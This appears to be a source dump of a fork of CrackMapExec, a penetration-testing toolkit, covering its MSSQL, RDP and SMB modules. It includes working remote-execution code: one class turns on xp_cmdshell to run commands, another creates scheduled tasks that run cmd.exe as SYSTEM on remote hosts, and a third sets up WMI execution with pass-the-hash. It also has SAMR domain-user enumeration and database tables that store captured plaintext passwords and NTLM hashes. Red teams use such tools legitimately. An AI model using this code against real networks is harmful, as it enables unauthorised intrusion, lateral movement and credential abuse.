 98 |                                                  password if password else ntlm_hash,
 99 |                                                  "Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
100 |             return False
101 | 
102 | 
--------------------------------------------------------------------------------
/cme/protocols/mssql/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/mssql/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/mssql/database.py:
--------------------------------------------------------------------------------
  1 | class database:
  2 | 
  3 |     def __init__(self, conn):
  4 |         self.conn = conn
  5 | 
  6 |     @staticmethod
  7 |     def db_schema(db_conn):
  8 |         db_conn.execute('''CREATE TABLE "computers" (
  9 |             "id" integer PRIMARY KEY,
 10 |             "ip" text,
 11 |             "hostname" text,
 12 |             "domain" text,
 13 |             "os" text,
 14 |             "instances" integer
 15 |             )''')
 16 | 
 17 |         # This table keeps track of which credential has admin access over which machine and vice-versa
 18 |         db_conn.execute('''CREATE TABLE "admin_relations" (
 19 |             "id" integer PRIMARY KEY,
 20 |             "userid" integer,
 21 |             "computerid" integer,
 22 |             FOREIGN KEY(userid) REFERENCES users(id),
 23 |             FOREIGN KEY(computerid) REFERENCES computers(id)
 24 |             )''')
 25 | 
 26 |         # type = hash, plaintext
 27 |         db_conn.execute('''CREATE TABLE "users" (
 28 |             "id" integer PRIMARY KEY,
 29 |             "credtype" text,
 30 |             "domain" text,
 31 |             "username" text,
 32 |             "password" text
 33 |             )''')
 34 | 
 35 |     def add_computer(self, ip, hostname, domain, os, instances):
 36 |         """
 37 |         Check if this host has already been added to the database, if not add it in.
 38 |         """
 39 |         cur = self.conn.cursor()
 40 | 
 41 |         cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
 42 |         results = cur.fetchall()
 43 | 
 44 |         if not len(results):
 45 |             cur.execute("INSERT INTO computers (ip, hostname, domain, os, instances) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, instances])
 46 | 
 47 |         cur.close()
 48 | 
 49 |     def add_credential(self, credtype, domain, username, password):
 50 |         """
 51 |         Check if this credential has already been added to the database, if not add it in.
 52 |         """
 53 |         cur = self.conn.cursor()
 54 | 
 55 |         cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
 56 |         results = cur.fetchall()
 57 | 
 58 |         if not len(results):
 59 |             cur.execute("INSERT INTO users (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password])
 60 | 
 61 |         cur.close()
 62 | 
 63 |     def remove_credentials(self, credIDs):
 64 |         """
 65 |         Removes a credential ID from the database
 66 |         """
 67 |         for credID in credIDs:
 68 |             cur = self.conn.cursor()
 69 |             cur.execute("DELETE FROM users WHERE id=?", [credID])
 70 |             cur.close()
 71 | 
 72 |     def add_admin_user(self, credtype, domain, username, password, host):
 73 | 
 74 |         cur = self.conn.cursor()
 75 | 
 76 |         cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
 77 |         creds = cur.fetchall()
 78 | 
 79 |         cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host])
 80 |         hosts = cur.fetchall()
 81 | 
 82 |         if len(creds) and len(hosts):
 83 |             for cred, host in zip(creds, hosts):
 84 |                 userid = cred[0]
 85 |                 computerid = host[0]
 86 | 
 87 |                 # Check to see if we already added this link
 88 |                 cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, computerid])
 89 |                 links = cur.fetchall()
 90 | 
 91 |                 if not len(links):
 92 |                     cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, computerid])
 93 | 
 94 |         cur.close()
 95 | 
 96 |     def get_admin_relations(self, userID=None, hostID=None):
 97 | 
 98 |         cur = self.conn.cursor()
 99 | 
100 |         if userID:
101 |             cur.execute("SELECT * from admin_relations WHERE userid=?", [userID])
102 | 
103 |         elif hostID:
104 |             cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID])
105 | 
106 |         results = cur.fetchall()
107 |         cur.close()
108 |         return results
109 | 
110 |     def remove_admin_relation(self, userIDs=None, hostIDs=None):
111 | 
112 |         cur = self.conn.cursor()
113 | 
114 |         if userIDs:
115 |             for userID in userIDs:
116 |                 cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID])
117 | 
118 |         elif hostIDs:
119 |             for hostID in hostIDs:
120 |                 cur.execute("DELETE FROM admin_relations WHERE computerid=?", [hostID])
121 | 
122 |         cur.close()
123 | 
124 |     def is_credential_valid(self, credentialID):
125 |         """
126 |         Check if this credential ID is valid.
127 |         """
128 |         cur = self.conn.cursor()
129 |         cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [credentialID])
130 |         results = cur.fetchall()
131 |         cur.close()
132 |         return len(results) > 0
133 | 
134 |     def get_credentials(self, filterTerm=None, credtype=None):
135 |         """
136 |         Return credentials from the database.
137 |         """
138 | 
139 |         cur = self.conn.cursor()
140 | 
141 |         # if we're returning a single credential by ID
142 |         if self.is_credential_valid(filterTerm):
143 |             cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm])
144 | 
145 |         # if we're filtering by credtype
146 |         elif credtype:
147 |             cur.execute("SELECT * FROM users WHERE credtype=?", [credtype])
148 | 
149 |         # if we're filtering by username
150 |         elif filterTerm and filterTerm != "":
151 |             cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
152 | 
153 |         # otherwise return all credentials
154 |         else:
155 |             cur.execute("SELECT * FROM users")
156 | 
157 |         results = cur.fetchall()
158 |         cur.close()
159 |         return results
160 | 
161 |     def is_computer_valid(self, hostID):
162 |         """
163 |         Check if this computer ID is valid.
164 |         """
165 |         cur = self.conn.cursor()
166 |         cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID])
167 |         results = cur.fetchall()
168 |         cur.close()
169 |         return len(results) > 0
170 | 
171 |     def get_computers(self, filterTerm=None):
172 |         """
173 |         Return computers from the database.
174 |         """
175 | 
176 |         cur = self.conn.cursor()
177 | 
178 |         # if we're returning a single host by ID
179 |         if self.is_computer_valid(filterTerm):
180 |             cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm])
181 | 
182 |         # if we're filtering by ip/hostname
183 |         elif filterTerm and filterTerm != "":
184 |             cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())])
185 | 
186 |         # otherwise return all credentials
187 |         else:
188 |             cur.execute("SELECT * FROM computers")
189 | 
190 |         results = cur.fetchall()
191 |         cur.close()
192 |         return results
193 | 
--------------------------------------------------------------------------------
/cme/protocols/mssql/db_navigator.py:
--------------------------------------------------------------------------------
  1 | from cme.helpers.misc import validate_ntlm
  2 | from cme.cmedb import DatabaseNavigator
  3 | 
  4 | 
  5 | class navigator(DatabaseNavigator):
  6 | 
  7 |     def display_creds(self, creds):
  8 | 
  9 |         data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']]
 10 | 
 11 |         for cred in creds:
 12 | 
 13 |             credID = cred[0]
 14 |             domain = cred[1]
 15 |             username = cred[2]
 16 |             password = cred[3]
 17 |             credtype = cred[4]
 18 |             # pillaged_from = cred[5]
 19 | 
 20 |             links = self.db.get_admin_relations(userID=credID)
 21 | 
 22 |             data.append([credID, str(len(links)) + ' Host(s)', credtype, domain, username, password])
 23 | 
 24 |         self.print_table(data, title='Credentials')
 25 | 
 26 |     def display_hosts(self, hosts):
 27 | 
 28 |         data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']]
 29 | 
 30 |         for host in hosts:
 31 | 
 32 |             hostID = host[0]
 33 |             ip = host[1]
 34 |             hostname = host[2]
 35 |             domain = host[3]
 36 |             os = host[4]
 37 |             instances = host[5]
 38 | 
 39 |             links = self.db.get_admin_relations(hostID=hostID)
 40 | 
 41 |             data.append([hostID, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances])
 42 | 
 43 |         self.print_table(data, title='Hosts')
 44 | 
 45 |     def do_hosts(self, line):
 46 | 
 47 |         filterTerm = line.strip()
 48 | 
 49 |         if filterTerm == "":
 50 |             hosts = self.db.get_computers()
 51 |             self.display_hosts(hosts)
 52 |         else:
 53 |             hosts = self.db.get_computers(filterTerm=filterTerm)
 54 | 
 55 |             if len(hosts) > 1:
 56 |                 self.display_hosts(hosts)
 57 |             elif len(hosts) == 1:
 58 |                 data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
 59 |                 hostIDList = []
 60 | 
 61 |                 for host in hosts:
 62 |                     hostID = host[0]
 63 |                     hostIDList.append(hostID)
 64 | 
 65 |                     ip = host[1]
 66 |                     hostname = host[2]
 67 |                     domain = host[3]
 68 |                     os = host[4]
 69 | 
 70 |                     data.append([hostID, ip, hostname, domain, os])
 71 | 
 72 |                 self.print_table(data, title='Host(s)')
 73 | 
 74 |                 data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
 75 |                 for hostID in hostIDList:
 76 |                     links = self.db.get_admin_relations(hostID=hostID)
 77 | 
 78 |                     for link in links:
 79 |                         linkID, credID, hostID = link
 80 |                         creds = self.db.get_credentials(filterTerm=credID)
 81 | 
 82 |                         for cred in creds:
 83 |                             credID = cred[0]
 84 |                             domain = cred[1]
 85 |                             username = cred[2]
 86 |                             password = cred[3]
 87 |                             credtype = cred[4]
 88 |                             # pillaged_from = cred[5]
 89 | 
 90 |                             data.append([credID, credtype, domain, username, password])
 91 | 
 92 |                 self.print_table(data, title='Credential(s) with Admin Access')
 93 | 
 94 |     def do_creds(self, line):
 95 | 
 96 |         filterTerm = line.strip()
 97 | 
 98 |         if filterTerm == "":
 99 |             creds = self.db.get_credentials()
100 |             self.display_creds(creds)
101 | 
102 |         elif filterTerm.split()[0].lower() == "add":
103 |             args = filterTerm.split()[1:]
104 | 
105 |             if len(args) == 3:
106 |                 domain, username, password = args
107 |                 if validate_ntlm(password):
108 |                     self.db.add_credential("hash", domain, username, password)
109 |                 else:
110 |                     self.db.add_credential("plaintext", domain, username, password)
111 | 
112 |             else:
113 |                 print("[!] Format is 'add domain username password")
114 |                 return
115 | 
116 |         elif filterTerm.split()[0].lower() == "remove":
117 | 
118 |             args = filterTerm.split()[1:]
119 |             if len(args) != 1:
120 |                 print("[!] Format is 'remove '")
121 |                 return
122 |             else:
123 |                 self.db.remove_credentials(args)
124 |                 self.db.remove_links(credIDs=args)
125 | 
126 |         elif filterTerm.split()[0].lower() == "plaintext":
127 |             creds = self.db.get_credentials(credtype="plaintext")
128 |             self.display_creds(creds)
129 | 
130 |         elif filterTerm.split()[0].lower() == "hash":
131 |             creds = self.db.get_credentials(credtype="hash")
132 |             self.display_creds(creds)
133 | 
134 |         else:
135 |             creds = self.db.get_credentials(filterTerm=filterTerm)
136 | 
137 |             data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
138 |             credIDList = []
139 | 
140 |             for cred in creds:
141 |                 credID = cred[0]
142 |                 credIDList.append(credID)
143 | 
144 |                 credType = cred[1]
145 |                 domain = cred[2]
146 |                 username = cred[3]
147 |                 password = cred[4]
148 | 
149 |                 data.append([credID, credType, domain, username, password])
150 | 
151 |             self.print_table(data, title='Credential(s)')
152 | 
153 |             data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
154 |             for credID in credIDList:
155 |                 links = self.db.get_admin_relations(userID=credID)
156 | 
157 |                 for link in links:
158 |                     linkID, credID, hostID = link
159 |                     hosts = self.db.get_computers(hostID)
160 | 
161 |                     for host in hosts:
162 |                         hostID = host[0]
163 |                         ip = host[1]
164 |                         hostname = host[2]
165 |                         domain = host[3]
166 |                         os = host[4]
167 | 
168 |                         data.append([hostID, ip, hostname, domain, os])
169 | 
170 |             self.print_table(data, title='Admin Access to Host(s)')
171 | 
172 |     def complete_hosts(self, text, line, begidx, endidx):
173 |         "Tab-complete 'creds' commands."
174 | 
175 |         commands = ["add", "remove"]
176 | 
177 |         mline = line.partition(' ')[2]
178 |         offs = len(mline) - len(text)
179 |         return [s[offs:] for s in commands if s.startswith(mline)]
180 | 
181 |     def complete_creds(self, text, line, begidx, endidx):
182 |         "Tab-complete 'creds' commands."
183 | 
184 |         commands = ["add", "remove", "hash", "plaintext"]
185 | 
186 |         mline = line.partition(' ')[2]
187 |         offs = len(mline) - len(text)
188 |         return [s[offs:] for s in commands if s.startswith(mline)]
189 | 
--------------------------------------------------------------------------------
/cme/protocols/mssql/mssqlexec.py:
--------------------------------------------------------------------------------
 1 | import logging
 2 | 
 3 | 
 4 | class MSSQLEXEC:
 5 | 
 6 |     def __init__(self, connection):
 7 |         self.mssql_conn = connection
 8 |         self.outputBuffer = ''
 9 | 
10 |     def execute(self, command, output=False):
11 |         try:
12 |             self.enable_xp_cmdshell()
13 |             self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
14 | 
15 |             if output:
16 |                 self.mssql_conn.printReplies()
17 |                 self.mssql_conn.colMeta[0]['TypeData'] = 80*2
18 |                 self.mssql_conn.printRows()
19 |                 self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
20 |                 if len(self.outputBuffer):
21 |                     self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
22 | 
23 |             self.disable_xp_cmdshell()
24 |             return self.outputBuffer
25 | 
26 |         except Exception as e:
27 |             logging.debug('Error executing command via mssqlexec: {}'.format(e))
28 | 
29 |     def enable_xp_cmdshell(self):
30 |         self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
31 | 
32 |     def disable_xp_cmdshell(self):
33 |         self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
34 | 
--------------------------------------------------------------------------------
/cme/protocols/rdp/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/rdp/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/rdp/database.py:
--------------------------------------------------------------------------------
 1 | class database:
 2 | 
 3 |     def __init__(self, conn):
 4 |         self.conn = conn
 5 | 
 6 |     @staticmethod
 7 |     def db_schema(db_conn):
 8 |         db_conn.execute('''CREATE TABLE "credentials" (
 9 |             "id" integer PRIMARY KEY,
10 |             "username" text,
11 |             "password" text,
12 |             "pkey" text
13 |             )''')
14 | 
15 |         db_conn.execute('''CREATE TABLE "hosts" (
16 |             "id" integer PRIMARY KEY,
17 |             "ip" text,
18 |             "hostname" text,
19 |             "port" integer,
20 |             "server_banner" text
21 |             )''')
--------------------------------------------------------------------------------
/cme/protocols/rdp/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 | 
3 | 
4 | class navigator(DatabaseNavigator):
5 |     pass
6 | 
--------------------------------------------------------------------------------
/cme/protocols/smb/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/smb/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/smb/atexec.py:
--------------------------------------------------------------------------------
  1 | import os
  2 | import logging
  3 | from impacket.dcerpc.v5 import tsch, transport
  4 | from impacket.dcerpc.v5.dtypes import NULL
  5 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
  6 | from cme.helpers.misc import gen_random_string
  7 | from time import sleep
  8 | 
  9 | class TSCH_EXEC:
 10 |     def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None):
 11 |         self.__target = target
 12 |         self.__username = username
 13 |         self.__password = password
 14 |         self.__domain = domain
 15 |         self.__share_name = share_name
 16 |         self.__lmhash = ''
 17 |         self.__nthash = ''
 18 |         self.__outputBuffer = b''
 19 |         self.__retOutput = False
 20 |         self.__aesKey = aesKey
 21 |         self.__doKerberos = doKerberos
 22 |         self.__kdcHost = kdcHost
 23 | 
 24 |         if hashes is not None:
 25 |         #This checks to see if we didn't provide the LM Hash
 26 |             if hashes.find(':') != -1:
 27 |                 self.__lmhash, self.__nthash = hashes.split(':')
 28 |             else:
 29 |                 self.__nthash = hashes
 30 | 
 31 |         if self.__password is None:
 32 |             self.__password = ''
 33 | 
 34 |         stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target
 35 |         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
 36 | 
 37 |         if hasattr(self.__rpctransport, 'set_credentials'):
 38 |             # This method exists only for selected protocol sequences.
 39 |             self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
 40 |             self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
 41 | 
 42 |     def execute(self, command, output=False):
 43 |         self.__retOutput = output
 44 |         self.execute_handler(command)
 45 |         return self.__outputBuffer
 46 | 
 47 |     def output_callback(self, data):
 48 |         self.__outputBuffer = data
 49 | 
 50 |     def execute_handler(self, data):
 51 |         if self.__retOutput:
 52 |             try:
 53 |                 self.doStuff(data, fileless=False)
 54 |             except:
 55 |                 self.doStuff(data)
 56 |         else:
 57 |             self.doStuff(data)
 58 | 
 59 |     def gen_xml(self, command, tmpFileName, fileless=False):
 60 | 
 61 |         xml = """
 62 | 
 63 |   
 64 |     
 65 |       2015-07-15T20:35:13.2757294
 66 |       true
 67 |       
 68 |         1
 69 |       
 70 |     
 71 |   
 72 |   
 73 |     
 74 |       S-1-5-18
 75 |       HighestAvailable
 76 |     
 77 |   
 78 |   
 79 |     IgnoreNew
 80 |     false
 81 |     false
 82 |     true
 83 |     false
 84 |     
 85 |       true
 86 |       false
 87 |     
 88 |     true
 89 |     true
 90 |     true
 91 |     false
 92 |     false
 93 |     P3D
 94 |     7
 95 |   
 96 |   
 97 |     
 98 |       cmd.exe
 99 | """
100 |         if self.__retOutput:
101 |             if fileless:
102 |                 local_ip = self.__rpctransport.get_socket().getsockname()[0]
103 |                 argument_xml = "      /C {} > \\\\{}\\{}\\{} 2>&1".format(command, local_ip, self.__share_name, tmpFileName)
104 |             else:
105 |                 argument_xml = "      /C {} > %windir%\\Temp\\{} 2>&1".format(command, tmpFileName)
106 | 
107 |         elif self.__retOutput is False:
108 |             argument_xml = "      /C {}".format(command)
109 | 
110 |         logging.debug('Generated argument XML: ' + argument_xml)
111 |         xml += argument_xml
112 | 
113 |         xml += """
114 |     
115 |   
116 | 
117 | """
118 |         return xml
119 | 
120 |     def doStuff(self, command, fileless=False):
121 | 
122 |         dce = self.__rpctransport.get_dce_rpc()
123 |         if self.__doKerberos:
124 |             dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
125 | 
126 |         dce.set_credentials(*self.__rpctransport.get_credentials())
127 |         dce.connect()
128 |         #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
129 |         dce.bind(tsch.MSRPC_UUID_TSCHS)
130 |         tmpName = gen_random_string(8)
131 |         tmpFileName = tmpName + '.tmp'
132 | 
133 |         xml = self.gen_xml(command, tmpFileName, fileless)
134 | 
135 |         #logging.info("Task XML: {}".format(xml))
136 |         taskCreated = False
137 |         logging.info('Creating task \\%s' % tmpName)
138 |         tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
139 |         taskCreated = True
140 | 
141 |         logging.info('Running task \\%s' % tmpName)
142 |         tsch.hSchRpcRun(dce, '\\%s' % tmpName)
143 | 
144 |         done = False
145 |         while not done:
146 |             logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
147 |             resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
148 |             if resp['pLastRuntime']['wYear'] != 0:
149 |                 done = True
150 |             else:
151 |                 sleep(2)
152 | 
153 |         logging.info('Deleting task \\%s' % tmpName)
154 |         tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
155 |         taskCreated = False
156 | 
157 |         if taskCreated is True:
158 |             tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
159 | 
160 |         if self.__retOutput:
161 |             if fileless:
162 |                 while True:
163 |                     try:
164 |                         with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
165 |                             self.output_callback(output.read())
166 |                         break
167 |                     except IOError:
168 |                         sleep(2)
169 |             else:
170 |                 peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
171 |                 smbConnection = self.__rpctransport.get_smb_connection()
172 |                 while True:
173 |                     try:
174 |                         #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
175 |                         smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
176 |                         break
177 |                     except Exception as e:
178 |                         if str(e).find('SHARING') > 0:
179 |                             sleep(3)
180 |                         elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
181 |                             sleep(3)
182 |                         else:
183 |                             raise
184 |                 #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
185 |                 smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
186 | 
187 |         dce.disconnect()
188 | 
--------------------------------------------------------------------------------
/cme/protocols/smb/remotefile.py:
--------------------------------------------------------------------------------
 1 | from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
 2 | 
 3 | class RemoteFile:
 4 |     def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
 5 |         self.__smbConnection = smbConnection
 6 |         self.__share = share
 7 |         self.__access = access
 8 |         self.__fileName = fileName
 9 |         self.__tid = self.__smbConnection.connectTree(share)
10 |         self.__fid = None
11 |         self.__currentOffset = 0
12 | 
13 |     def open(self):
14 |         self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access)
15 | 
16 |     def seek(self, offset, whence):
17 |         # Implement whence, for now it's always from the beginning of the file
18 |         if whence == 0:
19 |             self.__currentOffset = offset
20 | 
21 |     def read(self, bytesToRead):
22 |         if bytesToRead > 0:
23 |             data =  self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
24 |             self.__currentOffset += len(data)
25 |             return data
26 |         return ''
27 | 
28 |     def close(self):
29 |         if self.__fid is not None:
30 |             self.__smbConnection.closeFile(self.__tid, self.__fid)
31 |             self.__fid = None
32 | 
33 |     def delete(self):
34 |         self.__smbConnection.deleteFile(self.__share, self.__fileName)
35 | 
36 |     def tell(self):
37 |         return self.__currentOffset
38 | 
39 |     def __str__(self):
40 |         return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
--------------------------------------------------------------------------------
/cme/protocols/smb/samruser.py:
--------------------------------------------------------------------------------
  1 | #Stolen from Impacket
  2 | 
  3 | import logging
  4 | from impacket.dcerpc.v5.rpcrt import DCERPC_v5
  5 | from impacket.dcerpc.v5 import transport, samr 
  6 | from impacket.dcerpc.v5.samr import DCERPCSessionError
  7 | from impacket.dcerpc.v5.rpcrt import DCERPCException
  8 | from impacket.nt_errors import STATUS_MORE_ENTRIES
  9 | from impacket import ntlm
 10 | 
 11 | class UserSamrDump:
 12 | 
 13 |     KNOWN_PROTOCOLS = {
 14 |         '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
 15 |         '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
 16 |     }
 17 | 
 18 |     def __init__(self, connection):
 19 |         self.logger = connection.logger
 20 |         self.addr = connection.host
 21 |         self.protocol = connection.args.port
 22 |         self.username = connection.username
 23 |         self.password = connection.password
 24 |         self.domain = connection.domain
 25 |         self.hash = connection.hash
 26 |         self.lmhash = ''
 27 |         self.nthash = ''
 28 |         self.aesKey = None
 29 |         self.doKerberos = False
 30 |         self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
 31 |         self.users = []
 32 | 
 33 |         if self.hash is not None:
 34 |             if self.hash.find(':') != -1:
 35 |                 self.lmhash, self.nthash = self.hash.split(':')
 36 |             else:
 37 |                 self.nthash = self.hash
 38 |         
 39 |         if self.password is None:
 40 |             self.password = ''
 41 | 
 42 |     def dump(self):
 43 | 
 44 |         # Try all requested protocols until one works.
 45 |         for protocol in self.protocols:
 46 |             try:
 47 |                 protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
 48 |                 port = protodef[1]
 49 |             except KeyError:
 50 |                 logging.debug("Invalid Protocol '{}'".format(protocol))
 51 |             logging.debug("Trying protocol {}".format(protocol))
 52 |             rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, 
 53 |                                                   self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
 54 |             try:
 55 |                 self.fetchList(rpctransport)
 56 |             except Exception as e:
 57 |                 logging.debug('Protocol failed: {}'.format(e))
 58 |         return self.users
 59 | 
 60 |     def fetchList(self, rpctransport):
 61 |         dce = DCERPC_v5(rpctransport)
 62 |         dce.connect()
 63 |         dce.bind(samr.MSRPC_UUID_SAMR)
 64 | 
 65 |         # Setup Connection
 66 |         resp = samr.hSamrConnect2(dce)
 67 |         if resp['ErrorCode'] != 0:
 68 |             raise Exception('Connect error')
 69 | 
 70 |         resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],
 71 |                                                       enumerationContext=0,
 72 |                                                       preferedMaximumLength=500)
 73 |         if resp2['ErrorCode'] != 0:
 74 |             raise Exception('Connect error')
 75 | 
 76 |         resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
 77 |                                                   name=resp2['Buffer']['Buffer'][0]['Name'])
 78 |         if resp3['ErrorCode'] != 0:
 79 |             raise Exception('Connect error')
 80 | 
 81 |         resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
 82 |                                      desiredAccess=samr.MAXIMUM_ALLOWED,
 83 |                                      domainId=resp3['DomainId'])
 84 |         if resp4['ErrorCode'] != 0:
 85 |             raise Exception('Connect error')
 86 | 
 87 |         self.__domains = resp2['Buffer']['Buffer']
 88 |         domainHandle = resp4['DomainHandle']
 89 |         # End Setup
 90 | 
 91 |         status = STATUS_MORE_ENTRIES
 92 |         enumerationContext = 0
 93 |         while status == STATUS_MORE_ENTRIES:
 94 |             try:
 95 |                 resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
 96 |             except DCERPCException as e:
 97 |                 if str(e).find('STATUS_MORE_ENTRIES') < 0:
 98 |                     self.logger.error('Error enumerating domain user(s)')
 99 |                     break 
100 |                 resp = e.get_packet()
101 |             self.logger.success('Enumerated domain user(s)')
102 |             for user in resp['Buffer']['Buffer']:
103 |                 r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
104 |                 info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
105 |                 (username, uid, info_user) = (user['Name'], user['RelativeId'], info['Buffer']['All'])
106 |                 self.logger.highlight('{}\\{:<30} {}'.format(self.domain, user['Name'], info_user['AdminComment']))
107 |                 self.users.append(user['Name'])
108 |                 samr.hSamrCloseHandle(dce, r['UserHandle'])
109 | 
110 |             enumerationContext = resp['EnumerationContext'] 
111 |             status = resp['ErrorCode']
112 | 
113 |         dce.disconnect()
114 | 
--------------------------------------------------------------------------------
/cme/protocols/smb/wmiexec.py:
--------------------------------------------------------------------------------
  1 | import ntpath, logging
  2 | import os
  3 | 
  4 | from time import sleep
  5 | from cme.helpers.misc import gen_random_string
  6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection
  7 | from impacket.dcerpc.v5.dcom import wmi
  8 | from impacket.dcerpc.v5.dtypes import NULL
  9 | 
 10 | class WMIEXEC:
 11 |     def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None):
 12 |         self.__target = target
 13 |         self.__username = username
 14 |         self.__password = password
 15 |         self.__domain = domain
 16 |         self.__lmhash = ''
 17 |         self.__nthash = ''
 18 |         self.__share = share
 19 |         self.__smbconnection = smbconnection
 20 |         self.__output = None
 21 |         self.__outputBuffer = b''
 22 |         self.__share_name = share_name
 23 |         self.__shell = 'cmd.exe /Q /c '
 24 |         self.__pwd = 'C:\\'
 25 |         self.__aesKey = aesKey
 26 |         self.__kdcHost = kdcHost
 27 |         self.__doKerberos = doKerberos
 28 |         self.__retOutput = True
 29 | 
 30 |         if hashes is not None:
 31 |         #This checks to see if we didn't provide the LM Hash
 32 |             if hashes.find(':') != -1:
 33 |                 self.__lmhash, self.__nthash = hashes.split(':')
 34 |             else:
 35 |                 self.__nthash = hashes
 36 | 
 37 |         if self.__password is None:
 38 |             self.__password = ''
 39 |         self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
 40 |         iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
 41 |         iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
 42 |         iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
 43 |         iWbemLevel1Login.RemRelease()
 44 | 
